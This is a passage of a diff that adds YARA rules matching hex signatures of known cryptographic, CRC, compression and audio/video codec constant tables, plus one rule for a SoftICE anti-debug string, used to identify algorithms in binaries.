+	$a0 = { a3dbd76e096683d0f8be4858f611f4cfb314212d15a278dd99f5b1c4afedf981e79b2daa4d408a75ce544cd5cad52e75522d951ad91a1e734e4a387c442c28b30a21dfb602d4a03e1734f1586074682c1271b7f57a76c391e9dffab53d04532e96e2843b6b22ba34f2a763c89afb19327c2eaee5e540f5adf727163e6a9aa2ee3919b68e7be10ff9c1e99348816a1bd0ee85b4c91a63ea16d01391862f7bb828559db917dabc85413f124140bfc1e0cb5a4e588d80eb5f96663f0b58d882902f35ddd522c045a7a233bc068a65a06965451500b6942256156dcb985f9b67762c9795fc94b20cc2bdb0f8feebdb4420f6e1a9eb0bd6e3e4c0dd1847b74a031d1642dbed8f9e116e6049503cd9cdfa43ae27d8d28c0765d451dedbc78067d81868890fcbf7303d1f5a8daac6d98fadaac4c86274a3dc5ac94d5d1b5cf13169a45c709888a861a02c669f030d5d2b3c8736502f82a0540b648a267e7db90345400d345e4bce1cd673fed1b0c485fd5e3bfcccd6fbd37f06ab01e6683ee85ba5a56eadce041d23139c5f14c651f022e0f0f329d5793371827eefff9b8c650e23e2c10c3def61bcf8729675816f9037ffa145ec47d3638e1362bf8b2e8628103be83c08ce778211f7bec092ef4f2c244bc593326b36bd9dd0cfd7f380a6f6bb4eac755e686cf3a9331347570b2503b597e33cbdefa8723a3801aa053f59912a0e4698 }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__smith__s1__32_big_64_
+{
+strings:
+	$a0 = { 00000007000000020000000e00000009000000030000000b00000000000000040000000c0000000d000000010000000a000000060000000f0000000800000005 }
+
+condition:
+	$a0
+}
+
+	
+rule US_ASCII_to_EBCDIC__character_set_IBM_1047__table__8_byt_256_
+{
+strings:
+	$a0 = { 00010203372d2e2f1605150b0c0d0e0f101112133c3d322618193f271c1d1e1f405a7f7b5b6c507d4d5d5c4e6b604b61f0f1f2f3f4f5f6f7f8f97a5e4c7e6e6f7cc1c2c3c4c5c6c7c8c9d1d2d3d4d5d6d7d8d9e2e3e4e5e6e7e8e9ade0bd5f6d79818283848586878889919293949596979899a2a3a4a5a6a7a8a9c04fd0a107202122232404060828292a2b2c090a14303125333435361738393a3b1a1b3eff41aa4ab19fb26ab5bbb49a8ab0caafbc908feafabea0b6b39dda9b8bb7b8b9ab6465626663679e687471727378757677ac69edeeebefecbf80fdfefbfcbaae594445424643479c4854515253585556578c49cdcecbcfcce170dddedbdc8d8edf }
+
+condition:
+	$a0
+}
+
+	
+rule ulaw_table__16_big_512_
+{
+strings:
+	$a0 = { 828486848A848E84928496849A849E84A284A684AA84AE84B284B684BA84BE84C184C384C584C784C984CB84CD84CF84D184D384D584D784D984DB84DD84DF84E104E204E304E404E504E604E704E804E904EA04EB04EC04ED04EE04EF04F004F0C4F144F1C4F244F2C4F344F3C4F444F4C4F544F5C4F644F6C4F744F7C4F844F8A4F8E4F924F964F9A4F9E4FA24FA64FAA4FAE4FB24FB64FBA4FBE4FC24FC64FC94FCB4FCD4FCF4FD14FD34FD54FD74FD94FDB4FDD4FDF4FE14FE34FE54FE74FE8CFE9CFEACFEBCFECCFEDCFEECFEFCFF0CFF1CFF2CFF3CFF4CFF5CFF6CFF7CFF88FF90FF98FFA0FFA8FFB0FFB8FFC0FFC8FFD0FFD8FFE0FFE8FFF0FFF800007D7C797C757C717C6D7C697C657C617C5D7C597C557C517C4D7C497C457C417C3E7C3C7C3A7C387C367C347C327C307C2E7C2C7C2A7C287C267C247C227C207C1EFC1DFC1CFC1BFC1AFC19FC18FC17FC16FC15FC14FC13FC12FC11FC10FC0FFC0F3C0EBC0E3C0DBC0D3C0CBC0C3C0BBC0B3C0ABC0A3C09BC093C08BC083C07BC075C071C06DC069C065C061C05DC059C055C051C04DC049C045C041C03DC039C036C034C032C030C02EC02CC02AC028C026C024C022C020C01EC01CC01AC018C0174016401540144013401240114010400F400E400D400C400B400A4009400840078007000680060005800500048004000380030002800200018001000080000 }
+
+condition:
+	$a0
+}
+
+	
+rule Speex_lsp_tables_nb_cdbk_nb__8_byt_640_
+{
+strings:
+	$a0 = { 1E13262228202E2B3A2B05EEE7D8DFC9CC14221CECC19FA43D352F31354BF2CBB3B100FDFB13161AF7CBC9425A4855444A34FCD7C6E1EEE11B201E1218030805F4FD1A1C4A3FFED9BDB396B63B3B49412C28474852536258593CFAE1D1D0F3D9F707024FFFD9C4EF575141322D13EBBDA5A9D7CE0712274A0AE1E427180D1705382D1D0AFBF3F5DDEEF8F6F8E7B9B3EB0210323F575705E0D8CDBC000C06362205F420344440453B412D0EF0E1D8BFBD29312F25F5CCB5ACFC39302A2A21F5CDBCFA0D0008F81A20E9CB0024384C61696F61FFE4D9D8D5CAD4D8EE2310ECEDE4D61D2F264A2D03E3D0C2B098DF383B3B0A112E485465757B7B6AF9DFCFCDBABDE5E14643F0C2ABEC52475650554AEDC6B5D3E3DFEEE72D39F4D6FB0C1C24344051520DF7E5E4160302161A06FAD4CD020F0A302B3122EDC2ACA79AE808113D442718171310FB0C0F1B0FF8D4CFC4EEE0E434363EF8D0B3BA4265533F3D25F4CEB5C021110D190F4D01D6E348402E311F3D2CF8D1CAD2E21314FFF00010F4EEF7E6E5F6EA352DF6D1B5AE97930819314D324172757C7673605A3DF7D3C1C4B5C7080B141D00DDCFD5282F23283726E8B49990E5031722344B08E3D50C3F26231D1808190B01F1EED5F9252815ECC8EDEDFCFE0B1D333FFED4C2B5A71E39334A33322E444041343F37412B12F7E6DDC9BB03060811F1C3AA9F01565D4A4E43FFDABED030271D1911FF0D0D1D27323345526162FEDCD2E5F0E2F3FCF9FC19FBF5FAE7EB210C1F1DF8DACCC1BCA7DFFF0A4AFEF13B5B69696557543EF9DFCEDDCAD119115251F3C8AD153A1F2A194841E8BEA5C809FE150A454B02E80B16191C2622302107E3E6110FFF0E00FE00FAD7BD06FEF71302554AEABDACB9CE030BF7023E }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_mlp_huffman_tables__8_byt_106_
+{
+strings:
+	$a0 = { 01090108010701060105010401030403050306030703030305040905110621074108810901090108010701060105010401030202030203030504090511062107410881090000000001090108010701060105010401030101030305040905110621074108810900000000 }
+
+condition:
+	$a0
+}
+
+	
+rule State_table_used_in_PAQ7_compression__8_byt_67_
+{
+strings:
+	$a0 = { 00010201020102010101020102020201010101020101010202020102020202010102010201020102020101020102010201020102020101020102010201020102010202 }
+
+condition:
+	$a0
+}
+
+	
+rule MMB_crypt_algorithm__32_lil_AND_
+{
+strings:
+	$a0 = { db1c5f02[0-20]b639be04[0-20]d8e6f812[0-20]816d8e2f[0-20]9446ad0d[0-20]4aa3d606[0-20]d2a8b581[0-20]8d5a1b28[0-20]aaaaaa2a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_audio_shuffle525__16_lil_180_
+{
+strings:
+	$a0 = { 00001e003c001400320050000a00280046000600240042001a003800560010002e004c000c002a004800020020003e00160034005200120030004e000800260044001c003a0058001800360054000e002c004a0004002200400001001f003d001500330051000b00290047000700250043001b003900570011002f004d000d002b004900030021003f00170035005300130031004f000900270045001d003b0059001900370055000f002d004b00050023004100 }
+
+condition:
+	$a0
+}
+
+	
+rule Zip_Crypto__32_lil_AND_
+{
+strings:
+	$a0 = { 05840808[0-20]78563412[0-20]89674523[0-20]90785634 }
+
+condition:
+	$a0
+}
+
+	
+rule lpc_decode_detau_table__32_lil_512_
+{
+strings:
+	$a0 = { 000000000000000000000000030000000000000003000000030000001f0000000000000003000000030000001500000003000000030000001d0000001e0000000000000003000000030000001400000003000000190000001b0000001a00000003000000170000003a0000001600000003000000180000001c0000000300000000000000030000000300000003000000030000002700000021000000200000000300000025000000230000002400000003000000260000002200000003000000030000002a0000002e0000002c0000003200000028000000300000000300000036000000030000003800000003000000340000000300000003000000010000000000000003000000030000006c000000030000004e000000640000006800000003000000540000005c000000580000009c000000500000006000000003000000030000004a0000004600000048000000420000004c00000044000000030000003e000000030000003c000000030000004000000003000000030000000100000003000000740000008400000070000000940000009800000003000000030000008c000000030000008800000003000000900000000300000003000000010000007c000000780000008000000003000000030000000300000003000000010000000300000003000000030000000100000003000000010000000100000001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffbits6__8_byt_32_
+{
+strings:
+	$a0 = { 0104040604060608040606080609080a040607080609080b0609080a080a090b }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_163V1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { d2c0fb15760860def1eef4d696e6768756151754 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Chinese_AVS_video__AVS1_P2__JiZhun__intra_2dvlc__8_byt_1512_
+{
+strings:
+	$a0 = { 010101ff0101010201ff0201010301ff0301010401ff0401010501ff0501010601ff0601010701ff0701010801ff0801010901ff0901010a01ff0a01010b01ff0b01020102fe0102010c01ff0c01010d01ff0d01010e01ff0e01010f01ff0f01020202fe0202011001ff1001011101ff1101030103fd0103011201ff1201011301ff1301020302fe0302011401ff1401011501ff1501020402fe0402011601ff1601020502fe0502011701ff1701000000000403030303020202020202020202020202020202020202ffffff020000000000000017000000010100ff0100010200ff0200020101fe0101010300ff0300000000010400ff0400010500ff0500010600ff0600030102fd0102020201fe0201010700ff0700010800ff0800010900ff0900020301fe0301040102fc0102010a00ff0a00010b00ff0b00020401fe0401030202fd0202010c00ff0c00020501fe0501050103fb0103010d00ff0d00020601fe0601010e00ff0e00020701fe0701020801fe0801030302fd0302060103fa0103010f00ff0f0000070404030303030302020202020202ffffffffffffffffffffff02000000010000000f000000010100ff0100020100fe0100010200ff0200030101fd0101000000010300ff0300020200fe0200040101fc0101010400ff0400050102fb0102010500ff0500030201fd0201020300fe0300010600ff0600060102fa0102020400fe0400010700ff0700040201fc0201070102f90102030301fd0301020500fe0500010800ff0800020600fe0600080103f80103010900ff0900050202fb0202030401fd0401020700fe0700090103f70103010a00ff0a00000a060404030303020202ffffffffffffffffffffffffffffffff02000000020000000a000000010100ff0100020100fe0100030100fd0100010200ff0200000000040100fc0100050101fb0101020200fe0200010300ff0300060101fa0101030200fd0200070101f90101010400ff0400080102f80102020300fe0300040200fc0200010500ff0500090102f70102050201fb0201020400fe04000a0102f60102030300fd0300010600ff06000b0103f50103060201fa0201010700ff0700020500fe0500030400fd04000c0103f40103040300fc0300000d070504030202fffffeffffffffffffffffffffffffffffff00020000000400000007000000010100ff0100020100fe0100030100fd0100000000040100fc0100050100fb0100060100fa0100010200ff0200070100f90100080101f80101020200fe0200090101f701010a0101f60101010300ff0300030200fd02000b0102f50102040200fc02000c0102f401020d0102f30102050200fb0200010400ff0400020300fe03000e0102f20102060200fa02000f0102f10102100102f00102030300fd0300010500ff0500070200f90200110102ef0102001208040202ffffffffffffffffffffffffffffffffffffffffff020000000700000005000000000000010100ff0100020100fe0100030100fd0100040100fc0100050100fb0100060100fa0100070100f90100080100f80100090100f701000a0100f60100010200ff02000b0101f501010c0101f401010d0101f30101020200fe02000e0101f201010f0101f10101030200fd0200100101f00101010300ff0300110101ef0101040200fc0200120101ee0101050200fb0200130101ed0101140101ec0101060200fa0200150101eb0101020300fe030000160703ffffffffffffffffffffffffffffffffffffffffffffff020000000a00000003000000000000010100ff0100020100fe0100030100fd0100040100fc0100050100fb0100060100fa0100070100f90100080100f80100090100f701000a0100f601000b0100f501000c0100f401000d0100f301000e0100f201000f0100f10100100100f00100010200ff0200110100ef0100120100ee0100130100ed0100140100ec0100150100eb0100020200fe0200160100ea0100170100e90100180100e80100190100e70100030200fd02001a0100e60100001b04ffffffffffffffffffffffffffffffffffffffffffffffff02000000ffffff7f02000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale5__flt32___32_big_124_
+{
+strings:
+	$a0 = { 3f7ef5083f7ccdf43f7a8dd13f7831873f75b54f3f73147b3f7049273f6d4bb03f6a11f03f668de93f62ab573f5e4aff3f5938023f530aaf3f4ab5983f3504f33f1c59453f10e79e3f0778353efdf1913eedf7743ede89853ecf56603ec01cb93eb09f053ea099a93e8fb6eb3e7af3493e5217f63e214a013db8ab0e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_CCITT_poly_0x15__8_byt_refl_True_
+{
+strings:
+	$a0 = { 004080c05111d191a2e22262f3b37333155595d54404c484b7f73777e6a666262a6aaaea7b3bfbbb88c80848d99959193f7fbfff6e2eeeae9ddd1d5dcc8c4c0c5414d494054585c5f6b67636a7e727674101c181105090d0e3a36323b2f232727e3efebe2f6fafefdc9c5c1c8dcd0d4d6b2bebab3a7abafac989490998d81858a8e82868f9b979390a4a8aca5b1bdb9bbdfd3d7decac6c2c1f5f9fdf4e0ece8e82c20242d39353132060a0e07131f1b197d71757c68646063575b5f56424e4a4fcbc7c3caded2d6d5e1ede9e0f4f8fcfe9a96929b8f838784b0bcb8b1a5a9adad696561687c707477434f4b42565a5e5c383430392d212526121e1a13070b0f0 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td4__0x52525252U___32_lil_1024_
+{
+strings:
+	$a0 = { 52525252090909096a6a6a6ad5d5d5d53030303036363636a5a5a5a538383838bfbfbfbf40404040a3a3a3a39e9e9e9e81818181f3f3f3f3d7d7d7d7fbfbfbfb7c7c7c7ce3e3e3e339393939828282829b9b9b9b2f2f2f2fffffffff87878787343434348e8e8e8e4343434344444444c4c4c4c4dedededee9e9e9e9cbcbcbcb545454547b7b7b7b9494949432323232a6a6a6a6c2c2c2c2232323233d3d3d3deeeeeeee4c4c4c4c959595950b0b0b0b42424242fafafafac3c3c3c34e4e4e4e080808082e2e2e2ea1a1a1a16666666628282828d9d9d9d924242424b2b2b2b2767676765b5b5b5ba2a2a2a2494949496d6d6d6d8b8b8b8bd1d1d1d12525252572727272f8f8f8f8f6f6f6f66464646486868686686868689898989816161616d4d4d4d4a4a4a4a45c5c5c5ccccccccc5d5d5d5d65656565b6b6b6b6929292926c6c6c6c707070704848484850505050fdfdfdfdededededb9b9b9b9dadadada5e5e5e5e151515154646464657575757a7a7a7a78d8d8d8d9d9d9d9d8484848490909090d8d8d8d8abababab000000008c8c8c8cbcbcbcbcd3d3d3d30a0a0a0af7f7f7f7e4e4e4e45858585805050505b8b8b8b8b3b3b3b34545454506060606d0d0d0d02c2c2c2c1e1e1e1e8f8f8f8fcacacaca3f3f3f3f0f0f0f0f02020202c1c1c1c1afafafafbdbdbdbd0303030301010101131313138a8a8a8a6b6b6b6b3a3a3a3a9191919111111111414141414f4f4f4f67676767dcdcdcdceaeaeaea97979797f2f2f2f2cfcfcfcfcecececef0f0f0f0b4b4b4b4e6e6e6e67373737396969696acacacac7474747422222222e7e7e7e7adadadad3535353585858585e2e2e2e2f9f9f9f937373737e8e8e8e81c1c1c1c75757575dfdfdfdf6e6e6e6e47474747f1f1f1f11a1a1a1a717171711d1d1d1d29292929c5c5c5c5898989896f6f6f6fb7b7b7b7626262620e0e0e0eaaaaaaaa18181818bebebebe1b1b1b1bfcfcfcfc565656563e3e3e3e4b4b4b4bc6c6c6c6d2d2d2d279797979202020209a9a9a9adbdbdbdbc0c0c0c0fefefefe78787878cdcdcdcd5a5a5a5af4f4f4f41f1f1f1fdddddddda8a8a8a8333333338888888807070707c7c7c7c731313131b1b1b1b11212121210101010595959592727272780808080ecececec5f5f5f5f60606060515151517f7f7f7fa9a9a9a919191919b5b5b5b54a4a4a4a0d0d0d0d2d2d2d2de5e5e5e57a7a7a7a9f9f9f9f93939393c9c9c9c99c9c9c9cefefefefa0a0a0a0e0e0e0e03b3b3b3b4d4d4d4daeaeaeae2a2a2a2af5f5f5f5b0b0b0b0c8c8c8c8ebebebebbbbbbbbb3c3c3c3c83838383535353539999999961616161171717172b2b2b2b040404047e7e7e7ebabababa77777777d6d6d6d626262626e1e1e1e169696969141414146363636355555555212121210c0c0c0c7d7d7d7d }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table2__flt32___32_big_40_
+{
+strings:
+	$a0 = { 3fe39e893fec53e53ff55ea73ff9149b3ffcd90e3fea8f7b3fd997da3fbf84e23fa8917c3f800000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x3b6e20c8__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000001d31915e1c6bcf05015a5e5b1edf73b303eee2ed02b4bcb61f852de81bb60adf06879b8107ddc5da1aec54840569796c1858e8321902b669043327371164f8070c5569590d0f3702103ea65c0fbb8bb4128a1aea13d044b10ee1d5ef0ad2f2d817e3638616b93ddd0b88ac83140d816b093c103508664e6e1557df3004c11db719f08ce918aad2b2059b43ec1a1e6e04072fff5a0675a1011b44305f1f77176802468636031cd86d1e2d493301a864db1c99f5851dc3abde00f23a8015a5e5b0089474ee09ce2ab514ffbbeb0b7a9603164b075d171159060a20c8580e13ef6f13227e311278206a0f49b13410cc9cdc0dfd0d820ca753d91196c28709823b6e14b3aa3015e9f46b08d86535175d48dd0a6cd9830b3687d816071686123431b10f05a0ef0e5ffeb4136e6fea0ceb420211dad35c10808d070db11c5918e6c36905d75237048d0c6c19bc9d320639b0da1b0821841a527fdf0763ee810350c9b61e6158e81f3b06b3020a97ed1d8fba0500be2b5b01e475001cd5e45e0d4326d91072b7871128e9dc0c197882139c556a0eadc4340ff79a6f12c60b3116f52c060bc4bd580a9ee30317af725d082a5fb5151bceeb144190b0097001ee1c27dede01164f80004c11db1d7d808502f8ad6d1fc93c331e93626803a2f3360791d4011aa0455f1bfa1b0406cb8a5a194ea7b2047f36ec052568b71814f9e9130476dc0e35e7820f6fb9d9125e28870ddb056f10ea943111b0ca6a0c815b3408b27c031583ed5d14d9b30609e82258166d0fb00b5c9eee0a06c0b5173751eb02608edb1f511f851e0b41de033ad0801cbffd68018e6c3600d4326d1de5a33319d6840404e7155a05bd4b01188cda5f0709f7b71a3866e91b6238b20653a9ec17c56b6b0af4fa350baea46e169f3530091a18d8142b89861571d7dd084046830c7361b41142f0ea1018aeb10d293fef12ac12070f9d83590ec7dd0213f64c5c06a1936c1b9002321aca5c6907fbcd37187ee0df054f718104152fda1924be841d1799b3002608ed017c56b61c4dc7e803c8ea001ef97b5e1fa325050292b45b1a864db207b7dcec06ed82b71bdc13e904593e011968af5f1832f1040503605a0130476d1c01d6331d5b8868006a19361fef34de02dea5800384fbdb1eb56a850be2b5b516d324eb17897ab00ab8ebee153dc606080c5758095609031467985d1054bf6a0d652e340c3f706f110ee1310e8bccd913ba5d8712e003dc0fd192821e4750050376c15b022c9f001f1d0e5e009823b61da9b2e81cf3ecb301c27ded05f15ada18c0cb84199a95df04ab04811b2e2969061fb8370745e66c1a7477320f23a8021212395c134867070e79f65911fcdbb10ccd4aef0d9714b410a685ea1495a2dd09a4338308fe6dd815cffc860a4ad16e177b403016211e6b0b108f35 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Softice_____SICE__8_byt_STR_9_
+{
+strings:
+	$a0 = { 5c5c2e5c5349434500 }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_MMR_bcodes__16_big_630_
+{
+strings:
+	$a0 = { 01B8000A00000800000300011800000200021000000200030C000003000406000004000504000004000603000005000702800006000802000006000901000007000A01400007000B01C00007000C00800008000D00E00008000E01800009000F00B8000A001000C0000A00110040000A0012019C000B001301A0000B001401B0000B001500DC000B001600A0000B0017005C000B00180060000B00190194000C001A0196000C001B0198000C001C019A000C001D00D0000C001E00D2000C001F00D4000C002000D6000C002101A4000C002201A6000C002301A8000C002401AA000C002501AC000C002601AE000C002700D8000C002800DA000C002901B4000C002A01B6000C002B00A8000C002C00AA000C002D00AC000C002E00AE000C002F00C8000C003000CA000C003100A4000C003200A6000C00330048000C0034006E000C00350070000C0036004E000C00370050000C003800B0000C003900B2000C003A0056000C003B0058000C003C00B4000C003D00CC000C003E00CE000C003F0078000A00400190000C00800192000C00C000B6000C01000066000C01400068000C0180006A000C01C0006C000D0200006D000D0240004A000D0280004B000D02C0004C000D0300004D000D03400072000D03800073000D03C00074000D04000075000D04400076000D04800077000D04C00052000D05000053000D05400054000D05800055000D05C0005A000D0600005B000D06400064000D06800065000D06C00020000B07000030000B07400034000B07800024000C07C00026000C08000028000C0840002A000C0880002C000C08C0002E000C09000038000C0940003A000C0980003C000C09C0003E000C0A0000000000FFFF }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_sfb_48_128__avcodec___faad___16_lil_28_
+{
+strings:
+	$a0 = { 040008000c00100014001c0024002c00380044005000600070008000 }
+
+condition:
+	$a0
+}
+
+	
+rule Zlib_dist_code__8_byt_512_
+{
+strings:
+	$a0 = { 00010203040405050606060607070707080808080808080809090909090909090a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0d0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f000010111212131314141414151515151616161616161616171717171717171718181818181818181818181818181818191919191919191919191919191919191a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1b1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d1d }
+
+condition:
+	$a0
+}
+
+	
+rule Smacker_palmap__8_byt_64_
+{
+strings:
+	$a0 = { 0004080c1014181c2024282c3034383c4145494d5155595d6165696d7175797d82868a8e92969a9ea2a6aaaeb2b6babec3c7cbcfd3d7dbdfe3e7ebeff3f7fbff }
+
+condition:
+	$a0
+}
+
+	
+rule bsynz_kexc_table__float___flt64___64_lil_200_
+{
+strings:
+	$a0 = { 000000000000204000000000000030c00000000000003a4000000000000048c0000000000080554000000000004064c000000000006072400000000000607fc000000000007086400000000000c086c00000000000006740000000000000854000000000001083c000000000000085c000000000000067400000000000c0864000000000007086400000000000607f4000000000006072400000000000406440000000000080554000000000000048400000000000003a4000000000000030400000000000002040 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Q_Fract_allpass_Qmf__flt32___32_lil_1536_
+{
+strings:
+	$a0 = { 49ca473fe70f203f15efc33e5e836c3f5ee75a3fc4ba043fb63fe1be22e5653f5e836cbf15efc3be35ce83bd23787f3f3ced78bf510c6fbe5e836c3f15efc3beb2236abf1f06cf3eccac803ceaf77fbf15efc3be5e836c3f960a48bf83bf1fbf59ae7a3f72a74fbe15efc3be5e836cbfcb9d443e983c7bbfffb1d23eba51693f5e836c3f15efc33ef37e753fa52891be24b84cbf22b5193f5e836cbf15efc33e5bdd313fb61e383ff5a942bf3c4226bf15efc33e5e836cbf4709a2be76d7723f8594ef3e753e62bf15efc33e5e836c3ff6c87cbffec6213e3bed763f651a873e5e836cbf15efc3bebbbd18bffc704dbff1f240bd3fb77f3f5e836c3f15efc3be6714df3e586c66bf21307cbf1e0e303e15efc3be5e836c3fd1e27f3f4474f4bc0defc3be60836cbf15efc3be5e836cbf8d2cfa3ee75b5f3f4572513f873313bf5e836c3f15efc33eae360cbfeb2f563f73583d3f904a2c3f5e836cbf15efc33e5cbf7ebf0e57cabdccacfdbea05e5e3f15efc33e5e836cbf8eb8bebe79936dbfd8ae74bf808c96be15efc33e5e836c3f7690263f0a6742bf5eafa03df9357fbf5e836cbf15efc3be6d63793f7d38673e32727d3f4e4810be5e836c3f15efc3bea31b803e64db773f9afab43e45796f3f15efc3be5e836c3fc8273ebfa1652b3f7df755bfbc8c0c3f15efc3be5e836cbfbde56fbf60b8b2be1ad737bf5d2732bf5e836c3f15efc33e797dfdbd0d087ebf7fc2053f9c465abf5e836cbf15efc33e9498523f428d11bfa432723f92d8a53e15efc33e5e836cbf8f6e623f7ddeee3eabbce0bd39747e3f15efc33e5e836c3f166c9abb46ff7f3f3b747ebf15bce03d5e836cbf15efc3be288c63bf1897ea3e6ed8a5beaa3272bf5e836c3f15efc3befe3651bfbc8713bfa6465a3f6ec205bf15efc3be5e836c3f0651083eb6b87dbf5027323f27d7373f15efc3be5e836cbf9fba703fb030aebecc8c0cbf73f7553f5e836c3f15efc33e11883c3f7e2e2d3f3e796fbfbdfab4be5e836cbf15efc33e40c684be053e773f9948103e2f727dbf15efc33e5e836cbf10ec79bff1ce5d3efa357f3fc8aea0bd15efc33e5e836c3f82b924bfb8f643bf5c8c963edeae743f5e836cbf15efc3bed830c33eafaa6cbfa95e5ebfacacfd3e5e836c3f15efc3be7df97e3f791fb7bd824a2cbf80583dbf15efc3be5e836c3f4b300a3fcb7f573f9733133f3b7251bf15efc3be5e836cbf8e5ffebe8d2b5e3f59836c3f2fefc33e5e836c3f15efc33e79cd7fbf41cf20bd680e30be1d307c3f5e836cbf15efc33eedb9dabeda7667bf40b77fbfc4f1403d15efc33e5e836cbfb0ab1a3f1cfe4bbf411a87be40ed76bf15efc33e5e836c3f80647c3fda4c2b3e7e3e623f6394efbe5e836cbf15efc3be92739d3e2f98733f2e42263f02aa423f5e836c3f15efc3be959733bf766f363f31b519bf18b84c3f15efc3be5e836c3f09cd74bfabc795beb35169bf21b2d2be15efc3be5e836cbfcd223bbe56b07bbfbca74f3e55ae7abf5e836c3f15efc33ec289493f08db1dbfebf77f3f71aa80bc5e836cbf15efc33e4727693fa46dd33e080c6f3e40ed783f15efc33e5e836cbffe12613dfc9c7f3f2be565bf943fe13e15efc33e5e836c3f22255cbf15a9023fd90f20bf55ca47bf5e836cbf15efc3bea0a459bf6ec906bff60f203f3eca47bf5e836c3f15efc3beeb0f973d7a4d7fbf1ae5653fd83fe13e15efc3be5e836c3fca1a6b3fe599cabe9a0c6fbe38ed783f15efc3be5e836cbfdf86463f5ca0213feaf77fbf27af80bc5e836c3f15efc33e50144ebe23c37a3f29a74fbe5dae7abf5e836cbf15efc33e472b76bf52868c3ec251693fdcb1d2be15efc33e5e836cbf161f30bfc5c939bf13b5193f2fb84c3f15efc33e5e836c3f4d9ba63e381172bf4b4226bfe9a9423f5e836cbf15efc3beac277d3f743d18be6d3e62bfa694efbe5e836c3f15efc3be4dcc163f2fdf4e3f8a1a873e36ed76bf15efc3be5e836c3fce69e3be9a5c653f3eb77f3f1ef4403d15efc3be5e836cbf56f27fbf7744a73cd30d303e24307c3f5e836c3f15efc33edbf3f5be2d8760bf67836cbfeaeec33e5e836cbf15efc33ee2390e3f2cdb54bf783313bf507251bf15efc33e5e836cbf707f7e3f088add3d }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40_qtab_723_40__16_big_30_
+{
+strings:
+	$a0 = { FF86FFF00044008B00C600FA012A0153017A019D01BD01DB01F602100229 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_H__16_big_22_
+{
+strings:
+	$a0 = { FF7AFE8A00000806166D2000166D08060000FE8AFF7A }
+
+condition:
+	$a0
+}
+
+	
+rule RealAudio_ATRC_huffcode6__8_byt_31_
+{
+strings:
+	$a0 = { 0002030405060708091415161718193435363738393a3b78797a7b7c7d7e7f }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te1__0xa5c66363U___32_lil_1024_
+{
+strings:
+	$a0 = { 6363c6a57c7cf8847777ee997b7bf68df2f2ff0d6b6bd6bd6f6fdeb1c5c5915430306050010102036767cea92b2b567dfefee719d7d7b562abab4de67676ec9acaca8f4582821f9dc9c989407d7dfa87fafaef155959b2eb47478ec9f0f0fb0badad41ecd4d4b367a2a25ffdafaf45ea9c9c23bfa4a453f77272e496c0c09b5bb7b775c2fdfde11c93933dae26264c6a36366c5a3f3f7e41f7f7f502cccc834f3434685ca5a551f4e5e5d134f1f1f9087171e293d8d8ab733131625315152a3f0404080cc7c7955223234665c3c39d5e18183028969637a105050a0f9a9a2fb507070e091212243680801b9be2e2df3debebcd2627274e69b2b27fcd7575ea9f0909121b83831d9e2c2c58741a1a342e1b1b362d6e6edcb25a5ab4eea0a05bfb5252a4f63b3b764dd6d6b761b3b37dce2929527be3e3dd3e2f2f5e71848413975353a6f5d1d1b96800000000ededc12c20204060fcfce31fb1b179c85b5bb6ed6a6ad4becbcb8d46bebe67d93939724b4a4a94de4c4c98d45858b0e8cfcf854ad0d0bb6befefc52aaaaa4fe5fbfbed16434386c54d4d9ad7333366558585119445458acff9f9e910020204067f7ffe815050a0f03c3c78449f9f25baa8a84be35151a2f3a3a35dfe404080c08f8f058a92923fad9d9d21bc38387048f5f5f104bcbc63dfb6b677c1dadaaf752121426310102030ffffe51af3f3fd0ed2d2bf6dcdcd814c0c0c181413132635ececc32f5f5fbee1979735a2444488cc17172e39c4c49357a7a755f27e7efc823d3d7a476464c8ac5d5dbae71919322b7373e6956060c0a0818119984f4f9ed1dcdca37f222244662a2a547e90903bab88880b8346468c